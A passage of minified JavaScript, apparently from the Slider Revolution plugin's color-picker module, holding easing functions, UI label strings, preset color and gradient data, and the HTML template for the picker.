i*((e=e/a-1)*e*e+1)+t},easeinout:function(e,t,i,a){return(e/=a/2)<1?i/2*e*e*e+t:i/2*((e-=2)*e*e+2)+t}},circ:{easein:function(e,t,i,a){return-i*(Math.sqrt(1-(e/=a)*e)-1)+t},easeout:function(e,t,i,a){return i*Math.sqrt(1-(e=e/a-1)*e)+t},easeinout:function(e,t,i,a){return(e/=a/2)<1?-i/2*(Math.sqrt(1-e*e)-1)+t:i/2*(Math.sqrt(1-(e-=2)*e)+1)+t}},sine:{easein:function(e,t,i,a){return-i*Math.cos(e/a*(Math.PI/2))+i+t},easeout:function(e,t,i,a){return i*Math.sin(e/a*(Math.PI/2))+t},easeinout:function(e,t,i,a){return-i/2*(Math.cos(Math.PI*e/a)-1)+t}},expo:{easein:function(e,t,i,a){return 0===e?t:i*Math.pow(2,10*(e/a-1))+t},easeout:function(e,t,i,a){return e===a?t+i:i*(1-Math.pow(2,-10*e/a))+t},easeinout:function(e,t,i,a){return 0===e?t:e===a?t+i:(e/=a/2)<1?i/2*Math.pow(2,10*(e-1))+t:i/2*(2-Math.pow(2,-10*--e))+t}},bounce:{easeout:function(e,t,i,a){return(e/=a)<1/2.75?i*(7.5625*e*e)+t:e<2/2.75?i*(7.5625*(e-=1.5/2.75)*e+.75)+t:e<2.5/2.75?i*(7.5625*(e-=2.25/2.75)*e+.9375)+t:i*(7.5625*(e-=2.625/2.75)*e+.984375)+t},easein:function(e,t,i,a){return i-RSColor.easing.bounce.easeout(a-e,0,i,a)+t},easeinout:function(e,t,i,a){return e<a/2?.5*RSColor.easing.bounce.easein(2*e,0,i,a)+t:.5*RSColor.easing.bounce.easeout(2*e-a,0,i,a)+.5*i+t}}}},function(e){RVS.DOC=void 0===RVS.DOC?jQuery(document):RVS.DOC;var t,i,a,r,o,s,l,n,d,c,p,u,v,g,m,h,S,f,b,y,R,_,V,O,B,L,k,w,I,C,T,x,F,J,N,P,j,A,E,D,M,G,Q,z,H,Z,q,W,U,Y,X,K,$,ee,te,ie,ae,re,oe,se,le,ne,de,ce,pe,ue,ve,ge,me,he,Se,fe,be,ye,Re,_e,Ve,Oe,Be,Le,ke,we,Ie,Ce,Te,xe,Fe,Je,Ne,Pe,je,Ae,Ee,De,Me,Ge,Qe,ze,He={},Ze=236,qe=20,We=25,Ue=3,Ye=4,Xe=10,Ke=15,$e=150,et=10,tt="full",it={axis:"x",containment:"#revbuilder-cpicker-point-wrap"},at={color:"Color",solid_color:"Solid",gradient_color:"Gradient",gradient_easing:"Gradient Easing",easing_strength:"Easing/Strength",currently_editing:"Currently Editing",core_presets:"Core Presets",custom_presets:"Custom Presets",enter_a_name:"Enter a Name",save_a_new_preset:"Save a new Preset",save:"Save Preset",color_hex_value:"Hex",opacity:"Opacity",clear:"Clear Color",location:"Location",delete:"Delete Marker",horizontal:"Horizontal",vertical:"Vertical",radial:"Radial",enter_angle:"Enter Angle",reverse_gradient:"Reverse Gradient",delete_confirm:"Remove/Delete this custom preset color?",naming_error:"Please enter a unique name for the new color preset",preset_collection:"Preset Collection",color_type:"Color Type",close:"Close",save_exit:"Save",apply:"Apply",rgb:"RGB",preset_group:"Preset Group",save_preset:"Save Preset",pos_opacity:"Pos / Opacity"},rt=["#FFFFFF","#000000","#FF3A2D","#007AFF","#4CD964","#FFCC00","#C7C7CC","#8E8E93","#FFD3E0","#34AADC","#E0F8D8","#5AC8FA","#5856D6","#FF69B4","#800000","#009933"],ot=[{0:"{&type&:&linear&,&angle&:&180&,&colors&:[{&r&:247,&g&:247,&b&:247,&a&:&1&,&position&:0,&align&:&top&},{&r&:247,&g&:247,&b&:247,&a&:&1&,&position&:0,&align&:&bottom&},{&r&:215,&g&:215,&b&:215,&a&:&1&,&position&:100,&align&:&bottom&},{&r&:215,&g&:215,&b&:215,&a&:&1&,&position&:100,&align&:&top&}]}"},{1:"{&type&:&linear&,&angle&:&180&,&colors&:[{&r&:74,&g&:74,&b&:74,&a&:&1&,&position&:0,&align&:&top&},{&r&:74,&g&:74,&b&:74,&a&:&1&,&position&:0,&align&:&bottom&},{&r&:43,&g&:43,&b&:43,&a&:&1&,&position&:100,&align&:&bottom&},{&r&:43,&g&:43,&b&:43,&a&:&1&,&position&:100,&align&:&top&}]}"},{2:"{&type&:&linear&,&angle&:&180&,&colors&:[{&r&:219,&g&:221,&b&:222,&a&:&1&,&position&:0,&align&:&top&},{&r&:219,&g&:221,&b&:222,&a&:&1&,&position&:0,&align&:&bottom&},{&r&:137,&g&:140,&b&:144,&a&:&1&,&position&:100,&align&:&bottom&},{&r&:137,&g&:140,&b&:144,&a&:&1&,&position&:100,&align&:&top&}]}"},{3:"{&type&:&linear&,&angle&:&180&,&colors&:[{&r&:26,&g&:214,&b&:253,&a&:&1&,&position&:0,&align&:&top&},{&r&:26,&g&:214,&b&:253,&a&:&1&,&position&:0,&align&:&bottom&},{&r&:29,&g&:98,&b&:240,&a&:&1&,&position&:100,&align&:&bottom&},{&r&:29,&g&:98,&b&:240,&a&:&1&,&position&:100,&align&:&top&}]}"},{4:"{&type&:&linear&,&angle&:&180&,&colors&:[{&r&:198,&g&:68,&b&:252,&a&:&1&,&position&:0,&align&:&top&},{&r&:198,&g&:68,&b&:252,&a&:&1&,&position&:0,&align&:&bottom&},{&r&:88,&g&:86,&b&:214,&a&:&1&,&position&:100,&align&:&bottom&},{&r&:88,&g&:86,&b&:214,&a&:&1&,&position&:100,&align&:&top&}]}"},{5:"{&type&:&linear&,&angle&:&180&,&colors&:[{&r&:255,&g&:94,&b&:58,&a&:&1&,&position&:0,&align&:&top&},{&r&:255,&g&:94,&b&:58,&a&:&1&,&position&:0,&align&:&bottom&},{&r&:255,&g&:42,&b&:104,&a&:&1&,&position&:100,&align&:&bottom&},{&r&:255,&g&:42,&b&:104,&a&:&1&,&position&:100,&align&:&top&}]}"},{6:"{&type&:&linear&,&angle&:&180&,&colors&:[{&r&:228,&g&:221,&b&:202,&a&:&1&,&position&:0,&align&:&top&},{&r&:228,&g&:221,&b&:202,&a&:&1&,&position&:0,&align&:&bottom&},{&r&:214,&g&:206,&b&:195,&a&:&1&,&position&:100,&align&:&bottom&},{&r&:214,&g&:206,&b&:195,&a&:&1&,&position&:100,&align&:&top&}]}"},{7:"{&type&:&linear&,&angle&:&180&,&colors&:[{&r&:255,&g&:219,&b&:76,&a&:&1&,&position&:0,&align&:&top&},{&r&:255,&g&:219,&b&:76,&a&:&1&,&position&:0,&align&:&bottom&},{&r&:255,&g&:205,&b&:2,&a&:&1&,&position&:100,&align&:&bottom&},{&r&:255,&g&:205,&b&:2,&a&:&1&,&position&:100,&align&:&top&}]}"},{8:"{&type&:&linear&,&angle&:&180&,&colors&:[{&r&:255,&g&:149,&b&:0,&a&:&1&,&position&:0,&align&:&top&},{&r&:255,&g&:149,&b&:0,&a&:&1&,&position&:0,&align&:&bottom&},{&r&:255,&g&:94,&b&:58,&a&:&1&,&position&:100,&align&:&bottom&},{&r&:255,&g&:94,&b&:58,&a&:&1&,&position&:100,&align&:&top&}]}"},{9:"{&type&:&linear&,&angle&:&180&,&colors&:[{&r&:82,&g&:237,&b&:199,&a&:&1&,&position&:0,&align&:&top&},{&r&:82,&g&:237,&b&:199,&a&:&1&,&position&:0,&align&:&bottom&},{&r&:90,&g&:200,&b&:251,&a&:&1&,&position&:100,&align&:&bottom&},{&r&:90,&g&:200,&b&:251,&a&:&1&,&position&:100,&align&:&top&}]}"},{10:"{&type&:&linear&,&angle&:&180&,&colors&:[{&r&:228,&g&:183,&b&:240,&a&:&1&,&position&:0,&align&:&top&},{&r&:228,&g&:183,&b&:240,&a&:&1&,&position&:0,&align&:&bottom&},{&r&:200,&g&:110,&b&:223,&a&:&1&,&position&:100,&align&:&bottom&},{&r&:200,&g&:110,&b&:223,&a&:&1&,&position&:100,&align&:&top&}]}"},{11:"{&type&:&linear&,&angle&:&180&,&colors&:[{&r&:135,&g&:252,&b&:112,&a&:&1&,&position&:0,&align&:&top&},{&r&:135,&g&:252,&b&:112,&a&:&1&,&position&:0,&align&:&bottom&},{&r&:11,&g&:211,&b&:24,&a&:&1&,&position&:100,&align&:&bottom&},{&r&:11,&g&:211,&b&:24,&a&:&1&,&position&:100,&align&:&top&}]}"},{12:"{&type&:&linear&,&angle&:&180&,&colors&:[{&r&:61,&g&:78,&b&:129,&a&:&1&,&position&:0,&align&:&top&},{&r&:61,&g&:78,&b&:129,&a&:&1&,&position&:0,&align&:&bottom&},{&r&:87,&g&:83,&b&:201,&a&:&1&,&position&:50,&align&:&bottom&},{&r&:110,&g&:127,&b&:243,&a&:&1&,&position&:100,&align&:&bottom&},{&r&:110,&g&:127,&b&:243,&a&:&1&,&position&:100,&align&:&top&}]}"},{13:"{&type&:&linear&,&angle&:&160&,&colors&:[{&r&:35,&g&:21,&b&:87,&a&:&1&,&position&:0,&align&:&top&},{&r&:35,&g&:21,&b&:87,&a&:&1&,&position&:0,&align&:&bottom&},{&r&:68,&g&:16,&b&:122,&a&:&1&,&position&:29,&align&:&bottom&},{&r&:255,&g&:19,&b&:97,&a&:&1&,&position&:67,&align&:&bottom&},{&r&:255,&g&:248,&b&:0,&a&:&1&,&position&:100,&align&:&bottom&},{&r&:255,&g&:248,&b&:0,&a&:&1&,&position&:100,&align&:&top&}]}"},{14:"{&type&:&linear&,&angle&:&160&,&colors&:[{&r&:105,&g&:234,&b&:203,&a&:&1&,&position&:0,&align&:&top&},{&r&:105,&g&:234,&b&:203,&a&:&1&,&position&:0,&align&:&bottom&},{&r&:234,&g&:204,&b&:248,&a&:&1&,&position&:50,&align&:&bottom&},{&r&:102,&g&:84,&b&:241,&a&:&1&,&position&:100,&align&:&bottom&},{&r&:102,&g&:84,&b&:241,&a&:&1&,&position&:100,&align&:&top&}]}"},{15:"{&type&:&linear&,&angle&:&160&,&colors&:[{&r&:255,&g&:5,&b&:124,&a&:&1&,&position&:0,&align&:&top&},{&r&:255,&g&:5,&b&:124,&a&:&1&,&position&:0,&align&:&bottom&},{&r&:124,&g&:100,&b&:213,&a&:&1&,&position&:50,&align&:&bottom&},{&r&:76,&g&:195,&b&:255,&a&:&1&,&position&:100,&align&:&bottom&},{&r&:76,&g&:195,&b&:255,&a&:&1&,&position&:100,&align&:&top&}]}"},{16:"{&type&:&linear&,&angle&:&160&,&colors&:[{&r&:255,&g&:5,&b&:124,&a&:&1&,&position&:0,&align&:&top&},{&r&:255,&g&:5,&b&:124,&a&:&1&,&position&:0,&align&:&bottom&},{&r&:141,&g&:11,&b&:147,&a&:&1&,&position&:50,&align&:&bottom&},{&r&:50,&g&:21,&b&:117,&a&:&1&,&position&:100,&align&:&bottom&},{&r&:50,&g&:21,&b&:117,&a&:&1&,&position&:100,&align&:&top&}]}"},{17:"{&type&:&linear&,&angle&:&160&,&colors&:[{&r&:164,&g&:69,&b&:178,&a&:&1&,&position&:0,&align&:&top&},{&r&:164,&g&:69,&b&:178,&a&:&1&,&position&:0,&align&:&bottom&},{&r&:212,&g&:24,&b&:114,&a&:&1&,&position&:50,&align&:&bottom&},{&r&:255,&g&:0,&b&:102,&a&:&1&,&position&:100,&align&:&bottom&},{&r&:255,&g&:0,&b&:102,&a&:&1&,&position&:100,&align&:&top&}]}"},{18:"{&type&:&linear&,&angle&:&160&,&colors&:[{&r&:158,&g&:251,&b&:211,&a&:&1&,&position&:0,&align&:&top&},{&r&:158,&g&:251,&b&:211,&a&:&1&,&position&:0,&align&:&bottom&},{&r&:87,&g&:233,&b&:242,&a&:&1&,&position&:50,&align&:&bottom&},{&r&:69,&g&:212,&b&:251,&a&:&1&,&position&:100,&align&:&bottom&},{&r&:69,&g&:212,&b&:251,&a&:&1&,&position&:100,&align&:&top&}]}"},{19:"{&type&:&linear&,&angle&:&160&,&colors&:[{&r&:172,&g&:50,&b&:228,&a&:&1&,&position&:0,&align&:&top&},{&r&:172,&g&:50,&b&:228,&a&:&1&,&position&:0,&align&:&bottom&},{&r&:121,&g&:24,&b&:242,&a&:&1&,&position&:50,&align&:&bottom&},{&r&:72,&g&:1,&b&:255,&a&:&1&,&position&:100,&align&:&bottom&},{&r&:72,&g&:1,&b&:255,&a&:&1&,&position&:100,&align&:&top&}]}"},{20:"{&type&:&linear&,&angle&:&160&,&colors&:[{&r&:112,&g&:133,&b&:182,&a&:&1&,&position&:0,&align&:&top&},{&r&:112,&g&:133,&b&:182,&a&:&1&,&position&:0,&align&:&bottom&},{&r&:135,&g&:167,&b&:217,&a&:&1&,&position&:50,&align&:&bottom&},{&r&:222,&g&:243,&b&:248,&a&:&1&,&position&:100,&align&:&bottom&},{&r&:222,&g&:243,&b&:248,&a&:&1&,&position&:100,&align&:&top&}]}"},{21:"{&type&:&linear&,&angle&:&160&,&colors&:[{&r&:34,&g&:225,&b&:255,&a&:&1&,&position&:0,&align&:&top&},{&r&:34,&g&:225,&b&:255,&a&:&1&,&position&:0,&align&:&bottom&},{&r&:29,&g&:143,&b&:225,&a&:&1&,&position&:50,&align&:&bottom&},{&r&:98,&g&:94,&b&:177,&a&:&1&,&position&:100,&align&:&bottom&},{&r&:98,&g&:94,&b&:177,&a&:&1&,&position&:100,&align&:&top&}]}"},{22:"{&type&:&linear&,&angle&:&160&,&colors&:[{&r&:44,&g&:216,&b&:213,&a&:&1&,&position&:0,&align&:&top&},{&r&:44,&g&:216,&b&:213,&a&:&1&,&position&:0,&align&:&bottom&},{&r&:107,&g&:141,&b&:214,&a&:&1&,&position&:50,&align&:&bottom&},{&r&:142,&g&:55,&b&:215,&a&:&1&,&position&:100,&align&:&bottom&},{&r&:142,&g&:55,&b&:215,&a&:&1&,&position&:100,&align&:&top&}]}"},{23:"{&type&:&linear&,&angle&:&160&,&colors&:[{&r&:44,&g&:216,&b&:213,&a&:&1&,&position&:0,&align&:&top&},{&r&:44,&g&:216,&b&:213,&a&:&1&,&position&:0,&align&:&bottom&},{&r&:197,&g&:193,&b&:255,&a&:&1&,&position&:56,&align&:&bottom&},{&r&:255,&g&:186,&b&:195,&a&:&1&,&position&:100,&align&:&bottom&},{&r&:255,&g&:186,&b&:195,&a&:&1&,&position&:100,&align&:&top&}]}"},{24:"{&type&:&linear&,&angle&:&180&,&colors&:[{&r&:191,&g&:217,&b&:254,&a&:&1&,&position&:0,&align&:&bottom&},{&r&:191,&g&:217,&b&:254,&a&:&1&,&position&:0,&align&:&top&},{&r&:223,&g&:137,&b&:181,&a&:&1&,&position&:100,&align&:&top&},{&r&:223,&g&:137,&b&:181,&a&:&1&,&position&:100,&align&:&bottom&}]}"},{25:"{&type&:&linear&,&angle&:&340&,&colors&:[{&r&:97,&g&:97,&b&:97,&a&:&1&,&position&:0,&align&:&bottom&},{&r&:97,&g&:97,&b&:97,&a&:&1&,&position&:0,&align&:&top&},{&r&:155,&g&:197,&b&:195,&a&:&1&,&position&:100,&align&:&top&},{&r&:155,&g&:197,&b&:195,&a&:&1&,&position&:100,&align&:&bottom&}]}"},{26:"{&type&:&linear&,&angle&:&90&,&colors&:[{&r&:36,&g&:57,&b&:73,&a&:&1&,&position&:0,&align&:&bottom&},{&r&:36,&g&:57,&b&:73,&a&:&1&,&position&:0,&align&:&top&},{&r&:81,&g&:127,&b&:164,&a&:&1&,&position&:100,&align&:&top&},{&r&:81,&g&:127,&b&:164,&a&:&1&,&position&:100,&align&:&bottom&}]}"},{27:"{&type&:&linear&,&angle&:&180&,&colors&:[{&r&:234,&g&:205,&b&:163,&a&:&1&,&position&:0,&align&:&top&},{&r&:234,&g&:205,&b&:163,&a&:&1&,&position&:0,&align&:&bottom&},{&r&:230,&g&:185,&b&:128,&a&:&1&,&position&:100,&align&:&bottom&},{&r&:230,&g&:185,&b&:128,&a&:&1&,&position&:100,&align&:&top&}]}"},{28:"{&type&:&linear&,&angle&:&45&,&colors&:[{&r&:238,&g&:156,&b&:167,&a&:&1&,&position&:0,&align&:&top&},{&r&:238,&g&:156,&b&:167,&a&:&1&,&position&:0,&align&:&bottom&},{&r&:255,&g&:221,&b&:225,&a&:&1&,&position&:100,&align&:&bottom&},{&r&:255,&g&:221,&b&:225,&a&:&1&,&position&:100,&align&:&top&}]}"},{29:"{&type&:&linear&,&angle&:&340&,&colors&:[{&r&:247,&g&:148,&b&:164,&a&:&1&,&position&:0,&align&:&top&},{&r&:247,&g&:148,&b&:164,&a&:&1&,&position&:0,&align&:&bottom&},{&r&:253,&g&:214,&b&:189,&a&:&1&,&position&:100,&align&:&bottom&},{&r&:253,&g&:214,&b&:189,&a&:&1&,&position&:100,&align&:&top&}]}"},{30:"{&type&:&linear&,&angle&:&45&,&colors&:[{&r&:135,&g&:77,&b&:162,&a&:&1&,&position&:0,&align&:&top&},{&r&:135,&g&:77,&b&:162,&a&:&1&,&position&:0,&align&:&bottom&},{&r&:196,&g&:58,&b&:48,&a&:&1&,&position&:100,&align&:&bottom&},{&r&:196,&g&:58,&b&:48,&a&:&1&,&position&:100,&align&:&top&}]}"},{31:"{&type&:&linear&,&angle&:&180&,&colors&:[{&r&:243,&g&:231,&b&:233,&a&:&1&,&position&:0,&align&:&bottom&},{&r&:243,&g&:231,&b&:233,&a&:&1&,&position&:0,&align&:&top&},{&r&:218,&g&:212,&b&:236,&a&:&1&,&position&:100,&align&:&top&},{&r&:218,&g&:212,&b&:236,&a&:&1&,&position&:100,&align&:&bottom&}]}"},{32:"{&type&:&linear&,&angle&:&320&,&colors&:[{&r&:43,&g&:88,&b&:118,&a&:&1&,&position&:0,&align&:&bottom&},{&r&:43,&g&:88,&b&:118,&a&:&1&,&position&:0,&align&:&top&},{&r&:78,&g&:67,&b&:118,&a&:&1&,&position&:100,&align&:&top&},{&r&:78,&g&:67,&b&:118,&a&:&1&,&position&:100,&align&:&bottom&}]}"},{33:"{&type&:&linear&,&angle&:&60&,&colors&:[{&r&:41,&g&:50,&b&:60,&a&:&1&,&position&:0,&align&:&bottom&},{&r&:41,&g&:50,&b&:60,&a&:&1&,&position&:0,&align&:&top&},{&r&:72,&g&:85,&b&:99,&a&:&1&,&position&:100,&align&:&top&},{&r&:72,&g&:85,&b&:99,&a&:&1&,&position&:100,&align&:&bottom&}]}"},{34:"{&type&:&linear&,&angle&:&180&,&colors&:[{&r&:233,&g&:233,&b&:231,&a&:&1&,&position&:0,&align&:&top&},{&r&:233,&g&:233,&b&:231,&a&:&1&,&position&:0,&align&:&bottom&},{&r&:239,&g&:238,&b&:236,&a&:&1&,&position&:25,&align&:&bottom&},{&r&:238,&g&:238,&b&:238,&a&:&1&,&position&:70,&align&:&bottom&},{&r&:213,&g&:212,&b&:208,&a&:&1&,&position&:100,&align&:&bottom&},{&r&:213,&g&:212,&b&:208,&a&:&1&,&position&:100,&align&:&top&}]}"},{35:"{&type&:&linear&,&angle&:&180&,&colors&:[{&r&:251,&g&:200,&b&:212,&a&:&1&,&position&:0,&align&:&bottom&},{&r&:251,&g&:200,&b&:212,&a&:&1&,&position&:0,&align&:&top&},{&r&:151,&g&:149,&b&:240,&a&:&1&,&position&:100,&align&:&top&},{&r&:151,&g&:149,&b&:240,&a&:&1&,&position&:100,&align&:&bottom&}]}"}],st='<div id="revbuilder-cpicker-back" class="revbuilder-cpicker-close"></div><div id="revbuilder-cpicker"><div id="revbuilder-cpicker-container"><div id="revbuilder-cpicker-left" class="revbuilder-cpicker-column"><div id="revbuilder-cpicker-head"><div id="revbuilder-cpicker-drag" class="revbuilder-cpicker-draggable"></div><div id="revbuilder-cpicker-type-wrap" class="revbuilder-cpicker-side revbuilder-cpicker-left revbuilder-cpicker-candrag"><span data-text="color_type" class="revbuilder-cpicker-candrag revbuilder-cpicker-title"></span><div id="revbuilder-cpicker-btn-wrap"><span id="revbuilder-cpicker-color-btn" class="revbuilder-cpicker-main-btn"><i class="material-icons">invert_colors</i></span><span id="revbuilder-cpicker-gradient-btn" class="revbuilder-cpicker-main-btn"><i class="material-icons">gradient</i></span></div></div><div id="revbuilder-cpicker-editing" class="revbuilder-cpicker-candrag"><span id="revbuilder-cpicker-edit-title" data-text="currently_editing"></span><span id="revbuilder-cpicker-current-edit" class="revbuilder-cpicker-txt-space-left revbuilder-cpicker-bright"></span></div></div><div id="revbuilder-cpicker-base"><div id="revbuilder-cpicker-colors"><div><div class="revbuilder-cpicker-side revbuilder-cpicker-left"><div class="revbuilder-cpicker-row first"><span data-text="color" class="revbuilder-cpicker-title"></span><div class="revbuilder-cpicker-input-wrap revbuilder-cpicker-hover"><span id="revbuilder-cpicker-preview-color" class="revbuilder-cpicker-preview"></span><input type="text" id="revbuilder-cpicker-color-hex" class="revbuilder-cpicker-input revbuilder-cpicker-hex" value="#ffffff" /></div></div><div class="revbuilder-cpicker-row"><span data-text="rgb" class="revbuilder-cpicker-title"></span><div class="revbuilder-cpicker-input-wrap revbuilder-cpicker-hover revbuilder-cpicker-input-small first"><input type="text" id="revbuilder-cpicker-r" class="revbuilder-cpicker-input revbuilder-cpicker-rgb" value="255" /></div><div class="revbuilder-cpicker-input-wrap revbuilder-cpicker-hover revbuilder-cpicker-input-small"><input type="text" id="revbuilder-cpicker-g" class="revbuilder-cpicker-input revbuilder-cpicker-rgb" value="255" /></div><div class="revbuilder-cpicker-input-wrap revbuilder-cpicker-hover revbuilder-cpicker-input-small"><input type="text" id="revbuilder-cpicker-b" class="revbuilder-cpicker-input revbuilder-cpicker-rgb" value="255" /></div></div><div class="revbuilder-cpicker-row"><span data-text="opacity" class="revbuilder-cpicker-title"></span><div class="revbuilder-cpicker-input-wrap revbuilder-cpicker-hover"><input type="text" id="revbuilder-cpicker-color-opacity" class="revbuilder-cpicker-input revbuilder-cpicker-opacity-input" value="100%" /></div></div><div class="revbuilder-cpicker-row"><span class="revbuilder-cpicker-spacer"></span><span id="revbuilder-cpciker-clear-hex" class="revbuilder-cpicker-btn revbuilder-cpicker-hover"><i class="material-icons">delete</i><span data-text="clear"></span></span></div></div><div class="revbuilder-cpicker-side"><div class="revbuilder-cpicker-iris"><input id="revbuilder-cpicker-iris-color" class="revbuilder-cpicker-iris-input" /><div id="revbuilder-cpicker-scroller" class="iris-slider iris-strip"><div id="revbuilder-cpicker-scroll-bg"></div><div id="revbuilder-cpicker-scroll" class="iris-slider-offset"></div></div></div></div></div><div id="revbuilder-cpicker-color-presets" class="revbuilder-cpicker-presets"><div class="revbuilder-cpicker-side revbuilder-cpicker-left"><div class="revbuilder-cpicker-row first"><span data-text="preset_group" class="revbuilder-cpicker-title"></span><div class="revbuilder-cpicker-input-wrap revbuilder-cpicker-hover"><select id="revbuilder-cpicker-preset-colors" class="revbuilder-cpicker-dropdown revbuilder-cpicker-preset-selector"><option value="core">Defaults</option><option value="custom">Custom</option></select></div></div><div class="revbuilder-cpicker-row"><span data-text="save_preset" class="revbuilder-cpicker-title"></span><div class="revbuilder-cpicker-input-wrap revbuilder-cpicker-hover"><input type="text" class="revbuilder-cpicker-input revbuilder-cpicker-preset-save" data-placeholder="enter_a_name" /></div></div><div class="revbuilder-cpicker-row"><span class="revbuilder-cpicker-spacer"></span><span class="revbuilder-cpicker-btn revbuilder-cpicker-hover revbuilder-cpicker-save-preset-btn" data-alert="naming_error" data-message="Please enter a unique name for the new color preset"><i class="material-icons">save</i><span data-text="save"></span></span></div></div><div class="revbuilder-cpicker-side"><div id="revbuilder-cpicker-colors-core" class="revbuilder-cpicker-presets-group ps-container"></div><div id="revbuilder-cpicker-colors-custom" class="revbuilder-cpicker-presets-group ps-container revbuilder-cpicker-presets-custom"></div></div></div></div><div id="revbuilder-cpicker-gradients"><div><div class="revbuilder-cpicker-side revbuilder-cpicker-left revbuilder-cpicker-supress"><div class="revbuilder-cpicker-row first"><div class="revbuilder-cpicker-gradient-block"><div id="revbuilder-cpicker-gradient-input" class="revbuilder-cpicker-gradient-builder"><span id="revbuilder-cpicker-hit-top" class="revbuilder-cpicker-builder-hit"></span><div id="revbuilder-cpicker-point-wrap"><div id="revbuilder-cpciker-point-container"></div></div><span id="revbuilder-cpicker-hit-bottom" class="revbuilder-cpicker-builder-hit"></span></div></div></div><div class="revbuilder-cpicker-row"><span data-text="pos_opacity" class="revbuilder-cpicker-title"></span><div class="revbuilder-cpicker-input-wrap revbuilder-cpicker-hover revbuilder-cpicker-input-basic revbuilder-cpicker-supress first disabled"><input type="text" id="revbuilder-cpicker-color-location" class="revbuilder-cpicker-input" value="100%" maxlength="4" /></div><div class="revbuilder-cpicker-input-wrap revbuilder-cpicker-hover revbuilder-cpicker-input-basic revbuilder-cpicker-supress disabled"><input type="text" id="revbuilder-cpicker-grad-opacity" class="revbuilder-cpicker-input revbuilder-cpicker-opacity-input" value="100%" maxlength="4" /></div><span id="revbuilder-cpicker-color-delete" class="revbuilder-cpicker-btn revbuilder-cpicker-btn-small revbuilder-cpicker-hover revbuilder-cpicker-point-delete revbuilder-cpicker-supress"><i class="material-icons">delete</i></span><div class="clearfix"></div></div><div id="revpicker-easing-row" class="revbuilder-cpicker-row"><span id="revbuilder-cpicker-easing-title" data-text="gradient_easing" class="revbuilder-cpicker-title"></span><span id="revbuilder-cpicker-strength-title" data-text="easing_strength" class="revbuilder-cpicker-title"></span><div class="revbuilder-cpicker-input-wrap revbuilder-cpicker-hover"><select id="revbuilder-cpicker-easing" class="revbuilder-cpicker-dropdown"><option value="none">None</option><option value="sine.easeout">sine.out</option><option value="sine.easein">sine.in</option><option value="sine.easeinout">sine.inOut</option><option value="quad.easeout">Quad.easeOut</option><option value="quad.easein">Quad.easeIn</option><option value="quad.easeinout">Quad.easeInOut</option><option value="cubic.easeout">Cubic.easeOut</option><option value="cubic.easein">Cubic.easeIn</option><option value="cubic.easeinout">Cubic.easeInOut</option><option value="circ.easeout">circ.out</option><option value="circ.easein">circ.in</option><option value="circ.easeinout">circ.inOut</option><option value="quart.easeout">Quart.easeOut</option><option value="quart.easein">Quart.easeIn</option><option value="quart.easeinout">Quart.easeInOut</option><option value="quint.easeout">Quint.easeOut</option><option value="quint.easein">Quint.easeIn</option><option value="quint.easeinout">Quint.easeInOut</option><option value="expo.easeout">expo.out</option><option value="expo.easein">expo.in</option><option value="expo.easeinout">expo.inOut</option><option value="bounce.easeout">bounce.out</option><option value="bounce.easein">bounce.in</option><option value="bounce.easeinout">bounce.inOut</option></select></div><div class="revbuilder-cpicker-input-wrap revbuilder-cpicker-hover revbuilder-cpicker-input-basic revbuilder-cpicker-supress revbuilder-cpicker-easing-strength"><input type="text" id="revbuilder-cpicker-strength" class="revbuilder-cpicker-input" value="100%" maxlength="5" /></div></div><div class="revbuilder-cpicker-hideable"><div class="revbuilder-cpicker-row extended"><span data-text="color" class="revbuilder-cpicker-title"></span><div class="revbuilder-cpicker-input-wrap revbuilder-cpicker-hover revbuilder-cpicker-supress"><span id="revbuilder-cpicker-preview-gradient" class="revbuilder-cpicker-preview"></span><input type="text" id="revbuilder-cpicker-gradient-hex" class="revbuilder-cpicker-input revbuilder-cpicker-hex" value="#ffffff" /></div></div><div class="revbuilder-cpicker-row"><span data-text="rgb" class="revbuilder-cpicker-title"></span><div class="revbuilder-cpicker-input-wrap revbuilder-cpicker-hover revbuilder-cpicker-input-small revbuilder-cpicker-supress first"><input type="text" id="revbuilder-cpicker-r2" class="revbuilder-cpicker-input revbuilder-cpicker-rgb" value="255" /></div><div class="revbuilder-cpicker-input-wrap revbuilder-cpicker-hover revbuilder-cpicker-input-small revbuilder-cpicker-supress"><input type="text" id="revbuilder-cpicker-g2" class="revbuilder-cpicker-input revbuilder-cpicker-rgb" value="255" /></div><div class="revbuilder-cpicker-input-wrap revbuilder-cpicker-hover revbuilder-cpicker-input-small revbuilder-cpicker-supress"><input type="text" id="revbuilder-cpicker-b2" class="revbuilder-cpicker-input revbuilder-cpicker-rgb" value="255" /></div></div><div class="revbuilder-cpicker-row"><span class="revbuilder-cpicker-spacer"></span><span id="revbuilder-cpciker-clear-gradient" class="revbuilder-cpicker-btn revbuilder-cpicker-hover revbuilder-cpicker-supress"><i class="material-icons">delete</i><span data-text="clear"></span></span></div></div></div><div class="revbuilder-cpicker-side"><div class="revbuilder-cpicker-row first"><div class="revbuilder-cpicker-gradient-block"><div id="revbuilder-cpicker-gradient-output" class="revbuilder-cpicker-gradient-builder"></div></div></div><div class="revbuilder-cpicker-row"><span id="revbuilder-cpicker-orientation-horizontal" class="revbuilder-cpicker-direction revbuilder-cpicker-orientation revbuilder-cpicker-supress selected" data-direction="90"><span class="revbuilder-cpicker-preset-tile"></span><span id="revbuilder-cpicker-direction-horizontal" class="revbuilder-cpicker-preset-bg"></span></span><span id="revbuilder-cpicker-orientation-vertical" class="revbuilder-cpicker-direction revbuilder-cpicker-orientation revbuilder-cpicker-supress" data-direction="180"><span class="revbuilder-cpicker-preset-tile"></span><span id="revbuilder-cpicker-direction-vertical" class="revbuilder-cpicker-preset-bg"></span></span><span id="revbuilder-cpicker-orientation-radial" class="revbuilder-cpicker-direction revbuilder-cpicker-orientation revbuilder-cpicker-supress" data-direction="radial"><span class="revbuilder-cpicker-preset-tile"></span><span id="revbuilder-cpicker-direction-radial" class="revbuilder-cpicker-preset-bg"></span></span><div id="revbuilder-cpicker-wheel" class="revbuilder-cpicker-supress"><div id="revbuilder-cpicker-wheel-inner"><span id="revbuilder-cpicker-wheel-point"></span></div></div><div id="revbuilder-cpicker-radial-wrap" class="revbuilder-cpicker-input-wrap revbuilder-cpicker-hover revbuilder-cpicker-input-small revbuilder-cpicker-supress"><input type="text" class="revbuilder-cpicker-input" id="revbuilder-cpicker-meta-angle" maxlength="4"></div></div><div class="revbuilder-cpicker-row revbuilder-cpicker-no-margin"><span data-text="reverse_gradient" class="revbuilder-cpicker-title revbuilder-cpicker-label"></span><div id="revbuilder-cpicker-meta-reverse" class="revbuilder-cpicker-onoff-wrap revbuilder-cpicker-supress"><div 